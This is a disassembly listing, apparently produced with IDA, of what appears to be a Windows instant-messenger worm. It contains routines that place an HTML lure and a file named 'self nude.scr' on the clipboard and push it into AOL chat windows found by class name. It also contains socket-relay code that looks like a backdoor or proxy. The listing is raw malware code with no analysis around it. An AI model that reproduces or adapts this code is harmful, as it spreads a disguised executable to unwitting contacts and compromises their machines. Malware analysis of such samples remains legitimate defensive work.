		mov	dword ptr [ebp-2Ch], offset aSelfNude_scr ; "self nude.scr"
		call	sub_40D864
		mov	edi, [ebp+eax*4-34h]
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	ds:dword_4381D0
		call	ds:dword_429128	; WaitForSingleObject
		call	sub_404706
		push	eax
		call	sub_404706
		push	eax
		push	edi
		push	offset aHtmlFontLang0S ; "<HTML><FONT LANG=\"0\" SIZE=1>(right clic"...
		push	dword ptr [ebp-10h]
		call	sub_41CA2D
		push	0
		push	dword ptr [ebp-10h]
		call	sub_41C3F0
		add	esp, 1Ch
		mov	edi, eax
		call	sub_404706
		add	edi, eax
		call	sub_404706
		push	eax
		call	sub_4046F4
		push	eax
		push	0
		push	dword ptr [ebp-10h]
		call	sub_41C3F0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	ds:dword_4381D0
		call	ds:dword_429138	; ReleaseMutex
		push	offset aDataBinary ; "</DATA></BINARY>"
		push	edi
		call	sub_41C930
		push	0
		push	edi
		call	sub_41C3F0
		sub	eax, [ebp-10h]
		mov	edi, ds:dword_429244
		add	esp, 10h
		push	eax
		push	dword ptr [ebp-10h]
		mov	ebx, offset aAolmail ; "AOLMAIL"
		push	ebx
		call	edi	; RegisterClipboardFormatA
		push	eax
		call	sub_404793
		mov	dword ptr [ebp-24h], 409h
		push	4
		lea	eax, [ebp-24h]
		push	eax
		push	10h
		call	sub_404793
		mov	esi, ds:dword_429240
		call	esi	; CloseClipboard
		push	dword ptr [ebp+0Ch]
		push	offset sub_416362
		push	dword ptr [ebp+8]
		call	ds:dword_429200	; EnumChildWindows
		push	0
		call	ds:dword_429250	; OpenClipboard
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_41632B
		lea	eax, [ebp-360h]
		push	eax
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-360h]
		push	eax
		push	ebx
		call	edi	; RegisterClipboardFormatA
		push	eax
		call	sub_404793
		jmp	short loc_416331
; ---------------------------------------------------------------------------

loc_41632B:				; CODE XREF: sub_416071+297j
		call	ds:dword_42924C	; EmptyClipboard

loc_416331:				; CODE XREF: sub_416071+2B8j
		call	esi	; CloseClipboard
		push	1388h
		call	ds:dword_429084	; Sleep
		mov	eax, [ebp+0Ch]
		inc	dword ptr [eax+10h]
		call	esi	; CloseClipboard

loc_416346:				; CODE XREF: sub_416071+10Ej
					; sub_416071+124j
		lea	eax, [ebp-1Ch]
		call	sub_40D8F7

loc_41634E:				; CODE XREF: sub_416071+60j
		pop	esi
		pop	ebx

loc_416350:				; CODE XREF: sub_416071+3Cj
		mov	ecx, [ebp-0Ch]
		xor	eax, eax
		inc	eax
		pop	edi
		mov	large fs:0, ecx
		leave
		retn	8
sub_416071	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416362	proc near		; DATA XREF: sub_416071+27Do

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_429208	; GetClassNameA
		lea	eax, [ebp+var_104]
		push	offset aAte32class ; "Ate32Class"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4163BF
		push	esi
		mov	esi, ds:dword_429260
		push	edi
		push	eax
		push	24Fh
		mov	edi, 111h
		push	edi
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		push	0
		push	10259h
		push	edi
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		pop	edi
		pop	esi

loc_4163BF:				; CODE XREF: sub_416362+33j
		xor	eax, eax
		inc	eax
		leave
		retn	8
sub_416362	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163C6	proc near		; DATA XREF: .text:00430BB8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4163E2
		test	[esp+4+arg_0], 1
		jz	short loc_4163DC
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_4163DC:				; CODE XREF: sub_4163C6+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4163C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163E2	proc near		; CODE XREF: sub_4163C6+3p
		mov	eax, esi
		neg	eax
		lea	ecx, [esi+10h]
		sbb	eax, eax
		and	eax, ecx
		call	sub_415FFF
		mov	ecx, esi
		jmp	sub_416AA6
sub_4163E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163F9	proc near		; CODE XREF: sub_40F4FC+30p

arg_0		= dword	ptr  4

		and	dword ptr [edi+4], 0
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		push	esi
		lea	esi, [edi+10h]
		mov	dword ptr [edi], offset	off_430CE4
		call	sub_415FED
		mov	eax, [esp+4+arg_0]
		mov	dword ptr [edi], offset	off_430BB4
		push	dword ptr [esi+8]
		mov	[esi+4], eax
		call	ds:dword_42910C	; SetEvent
		mov	eax, esi
		call	sub_41600E
		mov	esi, edi
		call	sub_416AC4
		mov	eax, edi
		pop	esi
		retn	4
sub_4163F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41643A	proc near		; DATA XREF: .text:off_430BB4o
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+10h]

loc_416441:				; CODE XREF: sub_41643A+27j
					; sub_41643A+2Ej
		push	edi
		push	offset sub_416071
		call	ds:dword_4291EC	; EnumWindows
		push	7D0h
		call	ds:dword_429084	; Sleep
		mov	ecx, esi
		call	sub_41601B
		test	eax, eax
		jz	short loc_416441
		call	sub_41602D
		jmp	short loc_416441
sub_41643A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41646A	proc near		; CODE XREF: sub_40E577+18p

var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		xor	eax, eax
		lea	edi, [ebx+0Ch]
		stosd
		stosd
		stosd
		push	40h
		push	[ebp+arg_0]
		stosd
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_41C5A0
		add	esp, 0Ch
		cmp	[ebp+var_44], 52h
		jnz	short loc_4164A0
		lea	eax, [ebp+var_43]
		push	eax
		call	sub_41D59C
		pop	ecx
		mov	[ebx+24h], eax
		jmp	short loc_4164A4
; ---------------------------------------------------------------------------

loc_4164A0:				; CODE XREF: sub_41646A+25j
		and	dword ptr [ebx+24h], 0

loc_4164A4:				; CODE XREF: sub_41646A+34j
		lea	eax, [ebp+var_44]
		push	offset a_	; "."
		push	eax
		call	sub_41CE46
		pop	ecx
		pop	ecx
		lea	edi, [ebx+4]
		push	4
		mov	[ebp+arg_0], eax
		mov	ecx, edi
		pop	edx

loc_4164BF:				; CODE XREF: sub_41646A+5Ej
		inc	ecx
		dec	edx
		mov	byte ptr [ecx-4], 0
		mov	byte ptr [ecx],	0FFh
		jnz	short loc_4164BF
		push	esi
		xor	esi, esi
		test	eax, eax
		jz	loc_41658F
		lea	ecx, [ebx+0Ch]
		mov	[ebp+var_4], ecx
		jmp	short loc_4164E0
; ---------------------------------------------------------------------------

loc_4164DD:				; CODE XREF: sub_41646A+11Fj
		mov	eax, [ebp+arg_0]

loc_4164E0:				; CODE XREF: sub_41646A+71j
		cmp	esi, 4
		jnb	loc_41658F
		cmp	byte ptr [eax],	72h
		jnz	short loc_416504
		mov	ecx, [ebp+var_4]
		inc	eax
		mov	dword ptr [ecx], 1
		push	eax
		mov	byte ptr [esi+ebx], 0
		call	sub_41D59C
		jmp	short loc_41656D
; ---------------------------------------------------------------------------

loc_416504:				; CODE XREF: sub_41646A+82j
		push	offset dword_430490
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41651E
		mov	[esi+ebx], al
		mov	byte ptr [edi+esi], 0FFh
		jmp	short loc_416571
; ---------------------------------------------------------------------------

loc_41651E:				; CODE XREF: sub_41646A+A9j
		push	offset dword_4303CC
		push	[ebp+arg_0]
		call	sub_41CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416562
		push	2Dh
		push	[ebp+arg_0]
		call	sub_41C3F0
		inc	eax
		push	eax
		call	sub_41D59C
		push	2Dh
		push	[ebp+arg_0]
		mov	[edi+esi], al
		call	sub_41C3F0
		push	[ebp+arg_0]
		mov	byte ptr [eax],	0
		call	sub_41D59C
		add	esp, 18h
		mov	[esi+ebx], al
		jmp	short loc_416571
; ---------------------------------------------------------------------------

loc_416562:				; CODE XREF: sub_41646A+C5j
		push	[ebp+arg_0]
		call	sub_41D59C
		mov	[esi+ebx], al

loc_41656D:				; CODE XREF: sub_41646A+98j
		pop	ecx
		mov	[edi+esi], al

loc_416571:				; CODE XREF: sub_41646A+B2j
					; sub_41646A+F6j
		push	offset a_	; "."
		push	0
		call	sub_41CE46
		add	[ebp+var_4], 4
		pop	ecx
		inc	esi
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	loc_4164DD

loc_41658F:				; CODE XREF: sub_41646A+65j
					; sub_41646A+79j
		xor	eax, eax
		pop	esi

loc_416592:				; CODE XREF: sub_41646A+13Ej
		mov	cl, [edi+eax]
		cmp	[eax+ebx], cl
		jbe	short loc_41659D
		mov	[eax+ebx], cl

loc_41659D:				; CODE XREF: sub_41646A+12Ej
		mov	cl, [eax+ebx]
		mov	[eax+ebx+8], cl
		inc	eax
		cmp	eax, 4
		jb	short loc_416592
		cmp	byte ptr [ebx+3], 0
		pop	edi
		jnz	short loc_4165B5
		mov	byte ptr [ebx+3], 1

loc_4165B5:				; CODE XREF: sub_41646A+145j
		cmp	byte ptr [ebx+7], 0FFh
		jnz	short loc_4165BF
		mov	byte ptr [ebx+7], 0FEh

loc_4165BF:				; CODE XREF: sub_41646A+14Fj
		and	dword ptr [ebx+1Ch], 0
		and	dword ptr [ebx+20h], 0
		mov	eax, ebx
		leave
		retn	4
sub_41646A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165CD	proc near		; CODE XREF: sub_40E5EC+2Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		cmp	[esi+24h], eax
		push	ebx
		push	edi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 1
		mov	ebx, 0FFh
		jz	short loc_41664C
		xor	edi, edi

loc_4165ED:				; CODE XREF: sub_4165CD+32j
		push	ebx
		push	1
		call	sub_40D864
		mov	byte ptr [ebp+edi+var_4], al
		inc	edi
		cmp	edi, 4
		pop	ecx
		pop	ecx
		jb	short loc_4165ED
		mov	cl, byte ptr [ebp+var_4]
		jmp	short loc_416612
; ---------------------------------------------------------------------------

loc_416606:				; CODE XREF: sub_4165CD+48j
		push	ebx
		push	1
		call	sub_40D864
		pop	ecx
		pop	ecx
		mov	cl, al

loc_416612:				; CODE XREF: sub_4165CD+37j
		cmp	cl, 7Fh
		jz	short loc_416606
		movzx	edx, byte ptr [ebp+var_4+2]
		xor	eax, eax
		mov	ah, byte ptr [ebp+var_4+3]
		movzx	ecx, cl
		movzx	eax, ax
		or	eax, edx
		xor	edx, edx
		mov	dh, byte ptr [ebp+var_4+1]
		shl	eax, 10h
		movzx	edx, dx
		or	eax, edx
		or	eax, ecx
		dec	dword ptr [esi+24h]
		jnz	loc_416702
		mov	dword ptr [esi+20h], 1
		jmp	loc_416702
; ---------------------------------------------------------------------------

loc_41664C:				; CODE XREF: sub_4165CD+1Cj
		push	3
		lea	ecx, [esi+18h]
		pop	edi
		mov	[ebp+var_C], ecx

loc_416655:				; CODE XREF: sub_4165CD+11Bj
		mov	ecx, [ebp+var_C]
		cmp	[ecx], eax
		jz	short loc_416681
		push	ebx
		push	1
		call	sub_40D864
		mov	byte ptr [ebp+edi+var_4], al
		cmp	byte ptr [ebp+var_4], 7Fh
		jmp	short loc_41667B
; ---------------------------------------------------------------------------

loc_41666E:				; CODE XREF: sub_4165CD+B0j
		push	ebx
		push	1
		call	sub_40D864
		mov	byte ptr [ebp+var_4], al
		cmp	al, 7Fh

loc_41667B:				; CODE XREF: sub_4165CD+9Fj
		pop	ecx
		pop	ecx
		jz	short loc_41666E
		jmp	short loc_416689
; ---------------------------------------------------------------------------

loc_416681:				; CODE XREF: sub_4165CD+8Dj
		mov	al, [esi+edi+8]
		mov	byte ptr [ebp+edi+var_4], al

loc_416689:				; CODE XREF: sub_4165CD+B2j
		mov	al, [esi+edi+4]
		cmp	[esi+edi+8], al
		jnb	short loc_4166DF
		cmp	[esi+edi], al
		jz	short loc_4166DF
		cmp	[ebp+var_8], 0
		jz	short loc_4166DF
		push	3
		pop	eax
		sub	eax, edi
		cmp	[esi+1Ch], eax
		jz	short loc_4166D7
		push	3
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 3
		mov	[esi+1Ch], eax
		jnb	short loc_4166D7
		mov	[ebp+var_8], 0FFFFFFF8h
		sub	[ebp+var_8], esi
		lea	eax, [esi+0Bh]

loc_4166C2:				; CODE XREF: sub_4165CD+108j
		mov	cl, [eax-8]
		mov	[eax], cl
		mov	ecx, [ebp+var_8]
		push	3
		dec	eax
		pop	edx
		sub	edx, [esi+1Ch]
		add	ecx, eax
		cmp	ecx, edx
		ja	short loc_4166C2

loc_4166D7:				; CODE XREF: sub_4165CD+D9j
					; sub_4165CD+E6j
		inc	byte ptr [esi+edi+8]
		and	[ebp+var_8], 0

loc_4166DF:				; CODE XREF: sub_4165CD+C4j
					; sub_4165CD+C9j ...
		sub	[ebp+var_C], 4
		dec	edi
		xor	eax, eax
		cmp	edi, eax
		jge	loc_416655
		cmp	[esi+20h], eax
		jnz	short loc_416702
		cmp	[ebp+var_8], eax
		jz	short loc_4166FF
		mov	dword ptr [esi+20h], 1

loc_4166FF:				; CODE XREF: sub_4165CD+129j
		mov	eax, [ebp+var_4]

loc_416702:				; CODE XREF: sub_4165CD+6Dj
					; sub_4165CD+7Aj ...
		pop	edi
		pop	ebx
		leave
		retn
sub_4165CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416706	proc near		; CODE XREF: sub_40ED1A+4Cp

arg_0		= word ptr  4
arg_4		= word ptr  8
arg_8		= dword	ptr  0Ch

		and	dword ptr [edi+4], 0
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		push	esi
		lea	esi, [edi+10h]
		mov	dword ptr [edi], offset	off_430CD8
		call	sub_414878
		mov	ax, [esp+4+arg_0]
		mov	[edi+584h], ax
		mov	ax, [esp+4+arg_4]
		push	100h
		push	[esp+8+arg_8]
		mov	[edi+586h], ax
		lea	eax, [edi+588h]
		push	eax
		call	sub_41C5A0
		xor	ecx, ecx
		add	esp, 0Ch
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	esi
		call	sub_414ACD
		mov	esi, edi
		call	sub_416AC4
		mov	eax, edi
		pop	esi
		retn	0Ch
sub_416706	endp


; =============== S U B	R O U T	I N E =======================================



sub_41676A	proc near		; DATA XREF: .text:00430CDCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416786
		test	[esp+4+arg_0], 1
		jz	short loc_416780
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_416780:				; CODE XREF: sub_41676A+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41676A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416786	proc near		; CODE XREF: sub_41676A+3p
		push	3
		lea	eax, [esi+10h]
		mov	dword ptr [esi], offset	off_430CD8
		call	sub_414D44
		mov	ecx, esi
		jmp	sub_416AA6
sub_416786	endp

; ---------------------------------------------------------------------------

loc_41679D:				; DATA XREF: .text:off_430CD8o
		mov	eax, offset loc_427B98
		call	sub_41E550
		sub	esp, 5B4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [ebp-1Ch]
		mov	[ebp-14h], edi
		call	sub_405E63
		and	dword ptr [ebp-4], 0
		xor	eax, eax
		mov	ax, [edi+584h]
		push	offset aNull_1	; "null"
		push	6
		push	eax
		mov	eax, esi
		call	sub_405EF4
		push	8
		lea	esi, [edi+10h]
		pop	ebx
		mov	[ebp-10h], esi
		call	sub_414AE0
		mov	ax, [edi+584h]
		mov	ecx, esi
		call	sub_414997
		or	esi, 0FFFFFFFFh
		cmp	eax, esi
		jz	loc_416890
		mov	eax, [ebp-10h]
		push	7FFFFFFFh
		call	sub_414A0C
		cmp	eax, esi
		jz	short loc_416890
		mov	eax, [edi+47Ch]
		mov	[ebp-20h], eax

loc_41681A:				; CODE XREF: .text:00416831j
					; .text:00416835j ...
		push	0
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-20h]
		push	eax
		push	1
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_41681A
		test	eax, eax
		jnz	short loc_41681A
		mov	edi, [ebp-10h]
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_414C04
		test	byte ptr [ebp-4Ch], 8
		jz	short loc_41681A
		lea	esi, [ebp-5C0h]
		call	sub_414878
		push	edi
		lea	esi, [ebp-5C0h]
		call	sub_414A1F
		push	21h
		pop	ebx
		lea	esi, [ebp-5C0h]
		call	sub_414AE0
		push	588h
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_41681A
		push	dword ptr [ebp-14h]
		lea	ecx, [ebp-5C0h]
		push	ecx
		mov	ebx, eax
		call	sub_4168AA
		jmp	short loc_41681A
; ---------------------------------------------------------------------------

loc_416890:				; CODE XREF: .text:004167FAj
					; .text:0041680Fj
		mov	[ebp-4], esi
		lea	esi, [ebp-1Ch]
		call	sub_405EDB
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4168AA	proc near		; CODE XREF: .text:00416889p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		and	dword ptr [ebx+4], 0
		or	dword ptr [ebx+0Ch], 0FFFFFFFFh
		push	esi
		push	edi
		lea	edi, [ebx+14h]
		mov	esi, edi
		mov	dword ptr [ebx], offset	off_430CCC
		call	sub_414878
		mov	eax, [esp+8+arg_4]
		mov	esi, [esp+8+arg_0]
		mov	[ebx+10h], eax
		mov	ecx, 15Dh
		rep movsd
		mov	esi, ebx
		call	sub_416AC4
		pop	edi
		mov	eax, ebx
		pop	esi
		retn	8
sub_4168AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168E4	proc near		; DATA XREF: .text:00430CD0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416900
		test	[esp+4+arg_0], 1
		jz	short loc_4168FA
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_4168FA:				; CODE XREF: sub_4168E4+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4168E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416900	proc near		; CODE XREF: sub_4168E4+3p
		push	3
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_430CCC
		call	sub_414D44
		mov	ecx, esi
		jmp	sub_416AA6
sub_416900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416917	proc near		; DATA XREF: .text:off_430CCCo

var_DB0		= byte ptr -0DB0h
var_9B0		= byte ptr -9B0h
var_5B0		= byte ptr -5B0h
var_158		= dword	ptr -158h
var_144		= dword	ptr -144h
var_3C		= byte ptr -3Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0DB0h
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [ebp+var_5B0]
		mov	[ebp+var_8], edi
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		mov	eax, [edi+10h]
		lea	ecx, [eax+588h]
		mov	ax, [eax+586h]
		push	ecx
		mov	ecx, esi
		call	sub_414A81
		cmp	eax, 0FFFFFFFFh
		jz	loc_416A79
		push	ebx
		push	21h
		pop	ebx
		call	sub_414AE0
		mov	eax, [edi+480h]
		and	[ebp+var_4], 0
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_144]
		mov	[ebp+var_C], eax
		mov	ebx, 400h
		jmp	short loc_416986
; ---------------------------------------------------------------------------

loc_416983:				; CODE XREF: sub_416917+14Cj
		mov	edi, [ebp+var_8]

loc_416986:				; CODE XREF: sub_416917+6Aj
					; sub_416917+86j
		push	0
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	2
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_416986
		test	eax, eax
		jnz	short loc_4169FA
		lea	eax, [ebp+var_3C]
		lea	esi, [edi+14h]
		push	eax
		mov	edi, esi
		call	sub_414C04
		test	[ebp+var_3C], 1
		jz	short loc_4169DB
		push	ebx
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_414D0B
		test	eax, eax
		jle	loc_416A5F
		push	eax
		lea	eax, [ebp+var_DB0]
		lea	edi, [ebp+var_5B0]
		jmp	short loc_416A34
; ---------------------------------------------------------------------------

loc_4169DB:				; CODE XREF: sub_416917+9Ej
		test	[ebp+var_3C], 20h
		jz	short loc_416A5F
		push	1
		mov	eax, esi
		call	sub_414D44
		push	2
		push	[ebp+var_158]
		call	ds:dword_4292A0	; shutdown
		jmp	short loc_416A5C
; ---------------------------------------------------------------------------

loc_4169FA:				; CODE XREF: sub_416917+8Aj
		cmp	eax, 1
		jnz	short loc_416A5F
		lea	eax, [ebp+var_3C]
		push	eax
		lea	edi, [ebp+var_5B0]
		call	sub_414C04
		test	[ebp+var_3C], 1
		jz	short loc_416A3C
		push	ebx
		lea	eax, [ebp+var_9B0]
		push	eax
		mov	esi, edi
		call	sub_414D0B
		test	eax, eax
		jle	short loc_416A5F
		mov	edi, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_9B0]
		add	edi, 14h

loc_416A34:				; CODE XREF: sub_416917+C2j
		push	eax
		call	sub_414C2D
		jmp	short loc_416A5F
; ---------------------------------------------------------------------------

loc_416A3C:				; CODE XREF: sub_416917+FBj
		test	[ebp+var_3C], 20h
		jz	short loc_416A5F
		push	1
		lea	eax, [ebp+var_5B0]
		call	sub_414D44
		mov	eax, [ebp+var_8]
		push	2
		add	eax, 14h
		call	sub_414DBA

loc_416A5C:				; CODE XREF: sub_416917+E1j
		inc	[ebp+var_4]

loc_416A5F:				; CODE XREF: sub_416917+AFj
					; sub_416917+C8j ...
		cmp	[ebp+var_4], 2
		jnz	loc_416983
		push	3
		lea	eax, [ebp+var_5B0]
		call	sub_414D44
		pop	ebx
		jmp	short loc_416A86
; ---------------------------------------------------------------------------

loc_416A79:				; CODE XREF: sub_416917+40j
		push	3
		lea	eax, [ebp+var_5B0]
		call	sub_414D44

loc_416A86:				; CODE XREF: sub_416917+160j
		pop	edi
		pop	esi
		leave
		retn
sub_416917	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A8A	proc near		; DATA XREF: .text:00430CE8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416AA6
		test	[esp+4+arg_0], 1
		jz	short loc_416AA0
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_416AA0:				; CODE XREF: sub_416A8A+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416A8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AA6	proc near		; CODE XREF: sub_406A96+A0p
					; sub_407ACB+2Aj ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [esi], offset	off_430CE4
		jz	short loc_416AC2
		push	eax
		call	ds:dword_4290F0	; CloseHandle
		or	dword ptr [esi+0Ch], 0FFFFFFFFh

loc_416AC2:				; CODE XREF: sub_416AA6+Fj
		pop	esi
		retn
sub_416AA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AC4	proc near		; CODE XREF: sub_401672+30p
					; sub_40609A+14p ...

arg_0		= dword	ptr  4

		lea	eax, [esi+8]
		push	eax
		xor	eax, eax
		push	eax
		push	esi
		push	offset loc_416ADF
		push	eax
		push	eax
		call	sub_41D7F8
		add	esp, 18h
		mov	[esi+0Ch], eax
		retn
; ---------------------------------------------------------------------------

loc_416ADF:				; DATA XREF: sub_416AC4+8o
		push	esi
		mov	esi, [esp+4+arg_0]
		call	sub_416AEF
		xor	eax, eax
		pop	esi
		retn	4
sub_416AC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AEF	proc near		; CODE XREF: sub_416AC4+20p
		mov	eax, [esi]
		mov	ecx, esi
		mov	dword ptr [esi+4], 1
		call	dword ptr [eax]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+4]
		retn
sub_416AEF	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_416B0E	proc near		; CODE XREF: sub_407EBB+1Bp
					; sub_407EE6+2Ep ...
		call	ds:dword_4290A8	; GetTickCount
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		retn
sub_416B0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B1B	proc near		; CODE XREF: sub_416B68+3p
		push	ebx
		mov	ebx, [esi]
		push	edi
		mov	edi, [esi+4]
		call	ds:dword_4290A8	; GetTickCount
		xor	ecx, ecx
		cmp	edi, ecx
		jb	short loc_416B43
		ja	short loc_416B34
		cmp	ebx, eax
		jbe	short loc_416B43

loc_416B34:				; CODE XREF: sub_416B1B+13j
		or	eax, 0FFFFFFFFh
		push	0FFFFFFFFh
		sub	eax, ebx
		pop	ecx
		sbb	ecx, edi
		mov	[esi], eax
		mov	[esi+4], ecx

loc_416B43:				; CODE XREF: sub_416B1B+11j
					; sub_416B1B+17j
		pop	edi
		pop	ebx
		retn
sub_416B1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B46	proc near		; CODE XREF: .text:004087E5p
					; sub_409BDA+29p ...
		push	esi
		mov	esi, [eax+8]
		call	sub_416B68
		xor	ecx, ecx
		cmp	edx, ecx
		jb	short loc_416B64
		ja	short loc_416B5B
		cmp	eax, esi
		jb	short loc_416B64

loc_416B5B:				; CODE XREF: sub_416B46+Fj
		test	esi, esi
		jz	short loc_416B64
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416B64:				; CODE XREF: sub_416B46+Dj
					; sub_416B46+13j ...
		xor	eax, eax
		pop	esi
		retn
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B68	proc near		; CODE XREF: sub_4016AD+12p
					; sub_4016AD+38p ...
		push	esi
		mov	esi, eax
		call	sub_416B1B
		call	ds:dword_4290A8	; GetTickCount
		xor	edx, edx
		sub	eax, [esi]
		sbb	edx, [esi+4]
		pop	esi
		retn
sub_416B68	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B7F	proc near		; CODE XREF: sub_40F072+4Ap
		mov	eax, offset loc_427A2D
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+10h]
		mov	dword ptr [esi], offset	off_430CF0
		mov	[esi+10h], eax
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41BAB5
		push	dword ptr [ebp+10h]
		mov	[esi+14h], eax
		push	eax
		call	sub_41C930
		mov	ax, [ebp+14h]
		add	esp, 10h
		mov	[esi+18h], ax
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	10h
sub_416B7F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416BE1	proc near		; DATA XREF: .text:00430CF4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416BFD
		test	[esp+4+arg_0], 1
		jz	short loc_416BF7
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_416BF7:				; CODE XREF: sub_416BE1+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416BE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BFD	proc near		; CODE XREF: sub_416BE1+3p
		push	dword ptr [esi+14h]
		mov	dword ptr [esi], offset	off_430CF0
		call	sub_41CA28
		pop	ecx
		mov	ecx, esi
		jmp	sub_416AA6
sub_416BFD	endp

; ---------------------------------------------------------------------------

loc_416C13:				; DATA XREF: .text:off_430CF0o
		mov	eax, offset loc_427B86
		call	sub_41E550
		sub	esp, 0D2Ch
		push	ebx
		push	esi
		push	edi
		lea	esi, [ebp-608h]
		mov	[ebp-30h], ecx
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		xor	ebx, ebx
		or	dword ptr [ebp-10h], 0FFFFFFFFh
		mov	[ebp-28h], ebx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-2Ch], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		mov	[ebp-48h], ebx
		mov	[ebp-44h], ebx
		mov	[ebp-40h], ebx

loc_416C5F:				; CODE XREF: .text:00416D9Bj
					; .text:00416DB8j ...
		cmp	[ebp-24h], ebx
		jnz	short loc_416CD8
